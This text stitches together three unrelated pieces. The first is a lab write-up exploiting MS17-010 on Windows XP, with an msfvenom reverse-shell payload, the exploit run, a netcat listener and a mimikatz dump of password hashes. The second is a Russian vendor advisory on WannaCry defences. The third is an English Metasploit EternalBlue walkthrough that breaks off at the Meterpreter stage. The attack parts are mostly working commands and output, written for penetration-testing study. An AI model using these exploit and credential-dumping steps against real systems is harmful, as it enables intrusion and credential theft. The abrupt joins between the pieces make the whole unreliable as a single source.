In some ways this post is an aberration, I had intended to look do a post on exploiting the infamous MS08-067 without Metasploit but did not manage to get my hands on a Win XP VM with that vulnerability. This was after I was trying to do a PTP lab but was burning too many hours trying to exploit the MS08-067 vulnerability on a lab machine.
The Win XP VM set up several months earlier did not have the MS08-067 vulnerability, much to my disappointment but had MS17-010 instead. In the meantime I had also got up and running Metasploitable 3, which unlike 2 was a pain to set up. That will be subject of a future post.
If you’re trying this out at home, note you have to share out some folders on Win XP to run the NBT daemon on TCP 445. Check that our network adaptor has File and Print Sharing installed and enabled:
Then right-click a folder properties to share:
After clicking OK you should see a hand sign underneath the shared folder.
Ok enough preparation let’s start. These are the IP’s
Our IP: 192.168.1.73
Target IP: 192.168.1.207
Scanning for vulns with nmap we find
root@Kali:~/PTP/2.5_Exploitation/Lab 4# nmap -Pn -n -sV --script vuln 192.168.1.207
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-24 17:32 +08
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.207
Host is up (0.00037s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
2869/tcp open http Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Microsoft-HTTPAPI/1.0
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 00:0C:29:4B:3C:DC (VMware)
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 182.17 seconds
I thought of firing up Metasploit here but was mindful that doing so counted against the OSCP restriction. So I searchsploit for relevant exploits. I was surprised to find there appeared to be none for 32-bit Win XP:
root@Kali:~/PTP/2.5_Exploitation/Lab 4/WinXP_MS17-010# searchsploit MS17-010 ------------------------------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) ------------------------------------------------------------------------------------------------- ---------------------------------------- Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code Executio | exploits/windows/remote/43970.rb Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit) | exploits/windows/dos/41891.rb Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010) | exploits/windows_x86-64/remote/41987.py Microsoft Windows Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) | exploits/windows/remote/42031.py Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Executio | exploits/windows/remote/42315.py Microsoft Windows Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-01 | exploits/windows_x86-64/remote/42030.py ------------------------------------------------------------------------------------------------- ---------------------------------------- Shellcodes: No Result
Of the above only 43970.rb looked like it could work without Metasploit, but nope! On its exploit-db page it says:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
Oh well. After spending several hours Googling and trying out (check out references at end of post) exploits (namely 40279.py, 41987.py, 43980.rb, eternalblue_exploit7.py) I found one that works. Get the send_and_execute.py here. In the exploit script it says:
Tested on:
– Windows 2016 x64
– Windows 10 Pro Build 10240 x64
– Windows 2012 R2 x64
– Windows 8.1 x64
– Windows 2008 R2 SP1 x64
– Windows 7 SP1 x64
– Windows 2008 SP1 x64
– Windows 2003 R2 SP2 x64
– Windows XP SP2 x64
– Windows 8.1 x86
– Windows 7 SP1 x86
– Windows 2008 SP1 x86
– Windows 2003 SP2 x86
– Windows XP SP3 x86
– Windows 2000 SP4 x86
Hooray. Now before running that script we need a couple of other things. You need a working version of Impacket. Git clone the repository, then run pip install .
in the directory. Incidentally, impacket also allows you to run smbserver.py a script which lets you transfer files from Linux to Windows, a pain given that netcat isn’t a Windows thing.
You also need one more pre-req for the exploit. Get mysmb.py from here, save to the same directory as the exploit. If not when running the exploit you’ll encounter
root@Kali:~/PTP/2.5_Exploitation/Lab 4# python send_and_execute.py 192.168.1.207 ms17-010.exe Traceback (most recent call last): File "send_and_execute.py", line 3, in from mysmb import MYSMB ImportError: No module named mysmb
Note the ms17-010.exe is the payload which we generate with msfvenom:
root@Kali:~/PTP/2.5_Exploitation/Lab 4# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.73 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o ms17-010.exe No encoder or badchars specified, outputting raw payload Payload size: 324 bytes Final size of exe file: 73802 bytes Saved as: ms17-010.exe
With the above, I specified the reverse listener at TCP 443, x86 architecture, Windows platform. Ok time to fire the exploit, after we set up the listener.
root@Kali:~/PTP/2.5_Exploitation/Lab 4# python send_and_execute.py 192.168.1.207 ms17-010.exe
Trying to connect to 192.168.1.207:445
Target OS: Windows 5.1
Using named pipe: browser
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0x89ee6a88
SESSION: 0xe24add20
FLINK: 0x7bd48
InData: 0x7ae28
MID: 0xa
TRANS1: 0x78b50
TRANS2: 0x7ac90
modify transaction struct for arbitrary read/write
make this SMB session to be SYSTEM
current TOKEN addr: 0xe1efcf10
userAndGroupCount: 0x3
userAndGroupsAddr: 0xe1efcfb0
overwriting token UserAndGroups
Sending file EF6I56.exe...
Opening SVCManager on 192.168.1.207.....
Creating service XQBG.....
Starting service XQBG.....
The NETBIOS connection with the remote host timed out.
Removing service XQBG.....
ServiceExec Error on: 192.168.1.207
nca_s_proto_error
Done
If successful we get a shell at our listener:
root@Kali:~/PTP/2.5_Exploitation/Lab 4# nc -nlvp 443 listening on [any] 443 ... connect to [192.168.1.73] from (UNKNOWN) [192.168.1.207] 1129 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>ipconfig ipconfig Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 192.168.1.207 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.1 Ethernet adapter Local Area Connection 2: Media State . . . . . . . . . . . : Media disconnected C:\WINDOWS\system32>echo %userprofile% echo %userprofile% C:\Documents and Settings\LocalService
This exploits copies an executable over to the target’s C:\> and runs it. We can see this if we check the target’s root directory
C:\>dir
Volume in drive C has no label.
Volume Serial Number is EC2A-73ED
Directory of C:\
09/23/2018 05:04 PM 0 AUTOEXEC.BAT
09/23/2018 05:04 PM 0 CONFIG.SYS
09/23/2018 05:11 PM DIR Documents and Settings
11/18/2018 06:56 PM DIR Downloads
02/24/2019 05:21 PM 73,802 EF6I56.exe
10/12/2018 11:58 PM DIR ImmunityLogs
09/23/2018 05:50 PM DIR MinGW
09/24/2018 08:35 PM DIR MinGW64
01/07/2019 12:47 AM DIR Program Files
02/24/2019 05:19 PM DIR PTP
09/29/2018 12:16 AM DIR Python27
09/29/2018 12:24 AM DIR rei
02/23/2019 11:01 PM DIR WINDOWS
3 File(s) 73,802 bytes
10 Dir(s) 6,647,250,944 bytes free
The code which does this in send_and_execute.py is highlighted below. You can see that previously the attacker would have to edit the smb_send_file and service_exec function to specify the location to copy the exec over and run the payload (EF6I56.exe above), now it just assumes C: root as target and takes the payload specified when calling the script, hence “send_and_execute.py”.
def send_and_execute(conn, arch):
smbConn = conn.get_smbconnection()
filename = "%s.exe" % random_generator(6)
print "Sending file %s..." % filename
#In some cases you should change remote file location
#For example:
#smb_send_file(smbConn, lfile, 'C', '/windows/temp/%s' % filename)
#service_exec(conn, r'cmd /c c:\windows\temp\%s' % filename)
smb_send_file(smbConn, lfile, 'C', '/%s' % filename)
service_exec(conn, r'cmd /c c:\%s' % filename)
Ok we’re not done yet. We still need to escalate to NT AUTHORITY, if not already. Let’s find a way to check whats our username. This proved to be more difficult than expected. whoami didn’t work. What is Local Service? I didn’t know.
C:\>echo %username% %computername% %userdomain% echo %username% %computername% %userdomain% %username% IVANWINXP %userdomain% C:\>set set ALLUSERSPROFILE=C:\Documents and Settings\All Users CommonProgramFiles=C:\Program Files\Common Files COMPUTERNAME=IVANWINXP ComSpec=C:\WINDOWS\system32\cmd.exe FP_NO_HOST_CHECK=NO NUMBER_OF_PROCESSORS=4 OS=Windows_NT Path=C:\Python27\;C:\Python27\Scripts;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\MinGW64\mingw32\bin;C:\Program Files\OpenVPN\bin PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 60 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=3c03 ProgramFiles=C:\Program Files PROMPT=$P$G SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\TEMP TMP=C:\WINDOWS\TEMP USERPROFILE=C:\Documents and Settings\LocalService windir=C:\WINDOWS
As above, set in Windows is similar to Linux’s env. There’s no USERDOMAIN or USERNAME to tell us if we are NT AUTHORITY / SYSTEM. As this thread explains this can be difficult. Fortunately kali by default has a whoami.exe Windows binary we can run, after transferring over.
root@Kali:~# locate whoami.exe /usr/share/windows-binaries/whoami.exe root@Kali:~# file /usr/share/windows-binaries/whoami.exe /usr/share/windows-binaries/whoami.exe: PE32 executable (console) Intel 80386, for MS Windows
Now fire up Impacket’s smbserver.py to start up a SMB share so we can copy whoami.exe over to our target then run it.
root@Kali:~/PTP/2.5_Exploitation/Lab 4/WinXP_MS17-010# smbserver.py Lab "/root/PTP/2.5_Exploitation/Lab 4/WinXP_MS17-010" Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed C:\>dir \\192.168.1.73\Lab dir \\192.168.1.73\Lab Volume in drive \\192.168.1.73\Lab has no label. Volume Serial Number is ABCD-EFAA Directory of \\192.168.1.73\Lab 02/25/2019 09:10 PM DIR . 02/25/2019 01:00 AM DIR .. 02/24/2019 05:36 PM 4,227 Winxp_MS17-010_Kali.txt 02/25/2019 09:10 PM 66,560 whoami.exe 02/24/2019 05:55 PM 123,454 WinXP_MS17-010.zip 3 File(s) 202,433 bytes 2 Dir(s) 15,207,469,056 bytes free C:\>copy \\192.168.1.73\Lab\whoami.exe . copy \\192.168.1.73\Lab\whoami.exe . 1 file(s) copied. C:\>whoami.exe whoami.exe NT AUTHORITY\SYSTEM
All right! At this point we are done as far as this host is concerned. But I wanted to do more. Since we are NT AUTHORITY, we could pillage the hashes from the machine. As this explains they are stored in
Location
The hashes are located in the Windows\System32\config directory using both the SAM and SYSTEM files. In addition it’s also located in the registry file HKEY_LOCAL_MACHINE\SAM which cannot be accessed during run time. Finally backup copies can be often found in Windows\Repair.
But if you try to ‘type’ C:\Windows\System32\config\SAM or system you’ll get a
The process cannot access the file because it is being used by another process
Fortunately we have mimikatz to do the pillaging for us. Mimikatz requires NT AUTHORITY permissions and is integrated into Meterpreter but since we are avoiding Metasploit let’s do without it. I followed this video
As the video demonstrates, download mimikatz_trunk.zip from here. Unfortunately Windows doesn’t have a built-in unzip capability for the command line (not without Powershell) so you’ll have to unzip the contents in Kali. Don’t worry the Win32 folder inside has just 4 files
Transfer these 4 files over
C:\>dir \\192.168.1.73\Lab\mimikatz_win32 dir \\192.168.1.73\Lab\mimikatz_win32 Volume in drive \\192.168.1.73\Lab has no label. Volume Serial Number is ABCD-EFAA Directory of \\192.168.1.73\Lab\mimikatz_win32 02/25/2019 09:39 PM DIR . 02/25/2019 09:39 PM DIR .. 12/10/2018 06:58 AM 41,112 mimilib.dll 01/23/2013 06:58 AM 28,920 mimidrv.sys 12/10/2018 06:58 AM 36,504 mimilove.exe 12/10/2018 06:58 AM 748,696 mimikatz.exe 4 File(s) 863,424 bytes 2 Dir(s) 15,207,469,056 bytes free C:\>md mimikatz md mimikatz C:\>cd mimikatz cd mimikatz C:\mimikatz>copy \\192.168.1.73\Lab\mimikatz_win32\*.* . copy \\192.168.1.73\Lab\mimikatz_win32\*.* . \\192.168.1.73\Lab\mimikatz_win32\mimilib.dll \\192.168.1.73\Lab\mimikatz_win32\mimidrv.sys \\192.168.1.73\Lab\mimikatz_win32\mimilove.exe \\192.168.1.73\Lab\mimikatz_win32\mimikatz.exe 4 file(s) copied.
Now run mimikatz. The video and github README.md explains how to dump the hashes.
C:\mimikatz>mimikatz.exe mimikatz.exe .#####. mimikatz 2.1.1 (x86) #17763 Dec 9 2018 23:56:27 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition ** ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 63140 (00000000:0000f6a4) Session : Interactive from 0 User Name : Ivan Domain : IVANWINXP Logon Server : IVANWINXP Logon Time : 2/25/2019 8:56:18 PM SID : S-1-5-21-1708537768-1425521274-725345543-1003 msv : [00000002] Primary * Username : Ivan * Domain : IVANWINXP * LM : aad3b435b51404eeaad3b435b51404ee * NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 * SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709 tspkg : * Username : Ivan * Domain : IVANWINXP * Password : (null) wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : Ivan * Domain : IVANWINXP * Password : (null) ssp : credman : Authentication Id : 0 ; 997 (00000000:000003e5) Session : Service from 0 User Name : LOCAL SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 2/25/2019 8:56:16 PM SID : S-1-5-19 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : (null) * Domain : (null) * Password : (null) ssp : credman : Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : NETWORK SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 2/25/2019 8:56:16 PM SID : S-1-5-20 msv : [00000002] Primary * Username : IVANWINXP$ * Domain : MSHOMEXP * LM : aad3b435b51404eeaad3b435b51404ee * NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 * SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709 tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : IVANWINXP$ * Domain : MSHOMEXP * Password : (null) ssp : credman : Authentication Id : 0 ; 50779 (00000000:0000c65b) Session : UndefinedLogonType from 0 User Name : (null) Domain : (null) Logon Server : (null) Logon Time : 2/25/2019 8:56:15 PM SID : msv : tspkg : wdigest : kerberos : ssp : credman : Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : IVANWINXP$ Domain : MSHOMEXP Logon Server : (null) Logon Time : 2/25/2019 8:56:15 PM SID : S-1-5-18 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : ivanwinxp$ * Domain : MSHOMEXP * Password : (null) ssp : credman : mimikatz #
And we’re done. Now with the hashes, we can either crack them or pass them to gain access to other systems sharing the same credentials.
References
https://www.exploit-db.com/docs/english/42329-how-to-exploit-eternalromancesynergy-on-windows-server-2016.pdf
https://medium.com/@sdgeek/hack-the-box-htb-blue-115b3f563125
https://0xdf.gitlab.io/2019/02/21/htb-legacy.html
https://github.com/SecureAuthCorp/impackethttps://github.com/worawit/MS17-010
https://superuser.com/questions/919453/how-to-determine-the-username-on-a-windows-command-shell
https://blog.ropnop.com/transferring-files-from-kali-to-windows/
Данная статья подготовлена в связи в хакерской атакой массового характера в мировом масштабе, которая может коснуться и вас. Последствия становятся действительно серьезными. Ниже вы найдете краткое описание проблемы и описание основных мер, которые необходимо предпринять для защиты от вируса-шифровальщика семейства WannaCry.
Вирус-шифровальщик WannaCry использует уязвимость Microsoft Windows MS17-010, чтобы выполнить вредоносный код и запустить программу-шифровальщик на уязвимых ПК, затем вирус предлагает заплатить злоумышленникам порядка 300$, чтобы осуществить расшифровку данных. Вирус широко распространился в мировых масштабах, получив активное освещение в СМИ – Фонтанка.ру, Газета.ру, РБК.
Данной уязвимости подвержены ПК с установленными ОС Windows начиная с XP и до Windows 10 и Server 2016, официальную информацию об уязвимости от Microsoft вы можете прочитать здесь и здесь.
Эта уязвимость относится к классу Remote code execution, что означает, что заражение может быть произведено с уже зараженного ПК через сеть с низким уровнем безопасности без сегментирования МЭ — локальные сети, публичные сети, гостевые сети, а также путем запуска вредоноса полученного по почте или в виде ссылки.
Меры безопасности
Какие меры необходимо выделить как эффективные, для борьбы с данным вирусом:
- Убедитесь, что у вас установлены актуальные обновления Microsoft Windows, которые убирают уязвимость MS17-010. Найти ссылки на обновления вы можете здесь, а также обратите внимание, что в связи с беспрецедентной серьезностью данной уязвимости — 13-го мая были выпущены обновления для неподдерживаемых ОС (windowsXP, 2003 server, 2008 server) их вы можете скачать здесь.
- Используя решения по обеспечению сетевой безопасности класса IPS, убедитесь, что у вас установлены обновления, включающие выявление и компенсацию сетевой уязвимости. В базе знаний Check Point данная уязвимость описана здесь, она входит в обновление IPS от 14 марта 2017 года Microsoft Windows SMB Remote Code Execution (MS17-010: CVE-2017-0143). Также рекомендуем настроить проверку внутреннего трафика ключевых сетевых сегментов с помощью IPS, хотя бы на короткое время, пока вероятность заражения не снизится.
- В связи с вероятностью изменения кода вируса, рекомендуем активировать системы AntiBot&Antivirus и эмуляции запуска файлов, приходящих из внешних источников по почте или сети интернет. Если вы являетесь пользователями шлюзов безопасности Check Point, то данной системой является Threat Emulation. Специально для компаний, не имеющих данной подписки, мы предлагаем быстро оформить её в триальный период 30 дней. Для того чтобы запросить ключ активирующий полнофункциональную подписку для вашего шлюза Check Point — напишите на почту SOS@TSSOLUTION.RU Подробнее про системы эмуляции файлов вы можете посмотреть здесь.
Также заблокируйте передачу парольных архивов и активируйте сигнатуры IPS из списка:
Microsoft Windows EternalBlue SMB Remote Code Execution
Microsoft Windows SMB Remote Code Execution (MS17-010: CVE-2017-0143)
Microsoft Windows SMB Remote Code Execution (MS17-010: CVE-2017-0144)
Microsoft Windows SMB Remote Code Execution (MS17-010: CVE-2017-0145)
Microsoft Windows SMB Remote Code Execution (MS17-010: CVE-2017-0146)
Microsoft Windows SMB Information Disclosure (MS17-010: CVE-2017-0147)
Еще больше рекомендаций и пример отчета о блокировке работы шифровальщика wannacry тут.
Уважаемые коллеги, основываясь на опыте работы с предыдущими массированными атаками, такими как Heart Bleed, уязвимость Microsoft Windows MS17-010 будет активно эксплуатировать на протяжении ближайших 30-40 дней, не откладывайте меры противодействия! На всякий случай, проверьте работу вашей BackUp системы.
Риск действительно большой!
UPD. В четверг, 18 мая, в 10.00 по Московскому времени, мы приглашаем вас на вебинар о вымогательском программном обеспечении и способах защиты.
Вебинар проводит компания TS Solution и Сергей Невструев, Check Point Threat Prevention Sales Manager Eastern Europe.
Мы затронем следующие вопросы:
- Атака #WannaCry
- Масштаб и текущее состояние
- Особенности
- Факторы массовости
Рекомендации по безопасности
Как быть на шаг впереди и спать спокойно
- IPS + AM
- SandBlast: Threat Emulation и Threat Extraction
- SandBlast Agent: Anti-Ransomware
- SandBlast Agent: Forensics
- SandBlast Agent: Anti-Bot
Зарегистрировать можно, ответив на это письмо, либо пройдя по ссылке на регистрацию здесь.
Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Столкнулись ли вы уже с шифровальщиком WannaCry?
4.89%
столкнулся с другим шифровальщиком
43
1.37%
столкнулся, но действующая системы защиты отработала хорошо
12
Проголосовали 879 пользователей.
Воздержались 186 пользователей.
description
After the hacker organization Shadow Brokers released the first batch of NSA «Formula Team» internal hacking tools in August 2016, on April 14, 2017, Shadow Brokers again announced a batch of new NSA hacking tools, including an attack framework and Multiple Windows exploit tools. Attackers can use these vulnerabilities to remotely obtain Windows system permissions and plant backdoors.
In response to the leaked vulnerabilities, Microsoft issued a security bulletin MS17-010 in advance to fix multiple leaked SMB remote command execution vulnerabilities. Since the leaked vulnerabilities cover most common Windows versions (including Windows XP and Windows Server 2003, which Microsoft no longer provides update services), there are still a large number of devices that can be compromised in cyberspace
The Eternal Blue vulnerability uses TCP ports 445 and 139 to exploit remote code execution vulnerabilities in SMBv1 and NBT. Malicious code scans Windows machines that open file sharing port 445. No user action is required. As long as you turn on the Internet, criminals will Computers and servers are implanted with malicious programs such as ransomware, remote control Trojans, and virtual currency mining machines.
Vulnerability impact
Windows versions include but are not limited to: Windows NT, Windows 2000, Windows XP, Windows 2003, Windows Vista, Windows 7, Windows 8, Windows 2008, Windows 2008 R2, Windows Server 2012 SP0.
The attack payloads currently integrated on Metasploit are ms17_010_psexec and ms17_010_eternalblue
Environmental preparation:
1. The firewall allows SMB traffic in and out
2. Missing MS17-010 patch
collect message
nmap -sV --script=vuln -O 192.168.110.100
Host script results: | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Vulnerability:
Confirm vulnerability
msf > search ms17-010 //Search the payload of ms17-010 in the vulnerability database [!] Module database cache not built yet, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/smb/ms17_010_command 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
We use the ms17_010_command payload in the auxiliary module to scan to confirm whether the target system really has the vulnerability of the remote code execution of the SMB service
msf > use auxiliary/admin/smb/ms17_010_command //Use the load msf auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.135.136 //Set goals rhosts => 192.168.135.136 msf auxiliary(admin/smb/ms17_010_command) > exploit //Attack [*] 192.168.135.136:445 - Target OS: Windows Server 2003 3790 Service Pack 2 [*] 192.168.135.136:445 - Filling barrel with fish... done [*] 192.168.135.136:445 - <---------------- | Entering Danger Zone | ----------------> [*] 192.168.135.136:445 - [*] Preparing dynamite... [*] 192.168.135.136:445 - Trying stick 1 (x64)...Miss [*] 192.168.135.136:445 - [*] Trying stick 2 (x86)...Boom! [*] 192.168.135.136:445 - [+] Successfully Leaked Transaction! [*] 192.168.135.136:445 - [+] Successfully caught Fish-in-a-barrel [*] 192.168.135.136:445 - <---------------- | Leaving Danger Zone | ----------------> [*] 192.168.135.136:445 - Reading from CONNECTION struct at: 0x8fdf1cb0 [*] 192.168.135.136:445 - Built a write-what-where primitive... [+] 192.168.135.136:445 - Overwrite complete... SYSTEM session obtained! [+] 192.168.135.136:445 - Service start timed out, OK if running a command or non-service executable... [*] 192.168.135.136:445 - Output for "net group "Domain Admins" /domain": ةĻ Domain Admins עˍ ָ¶¨µœꝀ ³ʔ± ------------------------------------------------------------------------------- Administrator ļ®³ɹ¦Ϊ³ɡ£ [+] 192.168.135.136:445 - Cleanup was successful [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Successful and the target is Administrator permissions
Target
msf auxiliary(admin/smb/ms17_010_command) > use exploit/windows/smb/ms17_010_psexec msf exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.110.100 //Set goals rhost => 192.168.110.100
msf5 exploit(windows/smb/ms17_010_eternalblue) > run [*] Started reverse TCP handler on 192.168.110.100:4444 [*] 192.168.110.128:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.110.128:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7600 x64 (64-bit) [*] 192.168.110.128:445 - Scanned 1 of 1 hosts (100% complete) [*] 192.168.110.128:445 - Connecting to target for exploitation. [+] 192.168.110.128:445 - Connection established for exploitation. [+] 192.168.110.128:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.110.128:445 - CORE raw buffer dump (25 bytes) [*] 192.168.110.128:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp [*] 192.168.110.128:445 - 0x00000010 72 69 73 65 20 37 36 30 30 rise 7600 [+] 192.168.110.128:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.110.128:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.110.128:445 - Sending all but last fragment of exploit packet [*] 192.168.110.128:445 - Starting non-paged pool grooming [+] 192.168.110.128:445 - Sending SMBv2 buffers [+] 192.168.110.128:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.110.128:445 - Sending final SMBv2 buffers. [*] 192.168.110.128:445 - Sending last fragment of exploit packet! [*] 192.168.110.128:445 - Receiving response from exploit packet [+] 192.168.110.128:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.110.128:445 - Sending egg to corrupted connection. [*] 192.168.110.128:445 - Triggering free of corrupted buffer. [*] Sending stage (206403 bytes) to 192.168.110.128 [*] Meterpreter session 1 opened (192.168.110.100:4444 -> 192.168.110.128:49455) at 2020-03-31 16:25:08 +0800 [+] 192.168.110.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.110.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.110.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter >
success
Post-infiltration stage
First introduce Meterpreter:
Meterpreter is an extension module in the Metasploit framework. It is used as an attack payload after a successful overflow. The attack payload returns a control channel to us after a successful overflow attack. Use it as an attack payload to obtain a meterpretershell link on the target system. Meterpretershell as a penetration module has many useful functions, such as adding a user, hiding some things, opening the shell, obtaining user passwords, uploading and downloading files from remote hosts, running cmd.exe, capturing screens, obtaining remote control rights, capturing key information, Clear the application, display the system information of the remote host, display the network interface and IP address of the remote machine and other information. In addition, Meterpreter can evade intrusion detection systems. Hide itself on the remote host, it does not change the files in the system hard disk, so HIDS [host-based intrusion detection system] is difficult to respond to it. In addition, the system time changes when it is running, so tracking it or terminating it will become very difficult for an experienced person. Finally, Meterpreter can also simplify the task of creating multiple sessions. You can use these sessions to infiltrate.
In the post-infiltration phase we will use Meterpreter to attack
